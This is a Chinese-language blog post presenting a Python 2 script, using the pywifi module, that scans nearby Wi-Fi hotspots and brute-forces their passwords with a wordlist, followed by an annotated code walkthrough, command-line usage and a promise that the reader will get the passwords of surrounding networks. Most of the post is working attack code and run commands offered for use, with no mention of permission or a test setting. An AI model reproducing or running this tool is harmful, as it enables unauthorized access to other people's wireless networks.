发布于2022年11月4日3年前 视频演示 环境准备python2.7Kali 2019.4无线网卡弱口令字典安装模块pip install pywifi注:没有没有安装pip先安装pip安装命令:apt-get install python-pip部分代码解读:导入模块from pywifi import * import time import sys def main(): #扫描时常 scantimes = 3 #单个密码测试延迟 testtimes = 15 output = sys.stdout #结果文件保存路径 files = "TestRes.txt" #字典列表 keys = open(sys.argv[1],"r").readlines() print "|KEYS %s"%(len(keys)) #实例化一个pywifi对象 wifi = PyWiFi() #选择定一个网卡并赋值于iface iface = wifi.interfaces()[0] #通过iface进行一个时常为scantimes的扫描并获取附近的热点基础配置 scanres = scans(iface,scantimes) #统计附近被发现的热点数量 nums = len(scanres) print "|SCAN GET %s"%(nums) print "%s\n%-*s| %-*s| %-*s| %-*s | %-*s | %-*s %*s \n%s"%("-"*70,6,"WIFIID",18,"SSID OR BSSID",2,"N",4,"time",7,"signal",10,"KEYNUM",10,"KEY","="*70) #将每一个热点信息逐一进行测试 for i,x in enumerate(scanres): #测试完毕后,成功的结果讲存储到files中 res = test(nums-i,iface,x,keys,output,testtimes) if res: open(files,"a").write(res) 扫描周围热点 def scans(face,timeout): #开始扫描 face.scan() time.sleep(timeout) #在若干秒后获取扫描结果 return face.scan_results() 热点测试 这里后续推荐将扫描过程数据入库,防止重复扫描,且更加直观。 def test(i,face,x,key,stu,ts): #显示对应网络名称,考虑到部分中文名啧显示bssid showID = x.bssid if len(x.ssid)>len(x.bssid) else x.ssid #迭代字典并进行爆破 for n,k in enumerate(key): x.key = k.strip() #移除所有热点配置 face.remove_all_network_profiles() #讲封装好的目标尝试连接 face.connect(face.add_network_profile(x)) #初始化状态码,考虑到用0会发生些逻辑错误 code = 10 t1 = time.time() #循环刷新状态,如果置为0则密码错误,如超时则进行下一个 while code!=0 : time.sleep(0.1) code = face.status() now = time.time()-t1 if now>ts: break stu.write("\r%-*s| %-*s| %s |%*.2fs| %-*s | %-*s %*s"%(6,i,18,showID,code,5,now,7,x.signal,10,len(key)-n,10,k.replace("\n",""))) stu.flush() if code == 4: face.disconnect() return "%-*s| %s | %*s |%*s\n"%(20,x.ssid,x.bssid,3,x.signal,15,k) return False查看帮助python wifitest.py -h usage: wifitest.py [-h] [-m {a,m}] [-k KEY_FILE] optional arguments: -h, --help show this help message and exit -m {a,m}, --mode {a,m} test mode:a(auto) or m(manual) -k KEY_FILE, --key_file KEY_FILE test password dict file,default is top10.txt破解测试python wifi.py -m m -k top10.txt等待片刻!身边的就会获取到身边的WiFi密码!分析优点: 不需要传统的抓包,不需要客户端。缺点:成功率大小依赖于字典。程序下载附件下载解压密码:文末隐藏内容 版权属于:逍遥子大表哥本文链接:https://blog.bbskali.cn/1570.html按照知识共享署名-非商业性使用 4.0 国际协议进行许可,转载引用文章应遵循相同协议。
创建帐户或登录后发表意见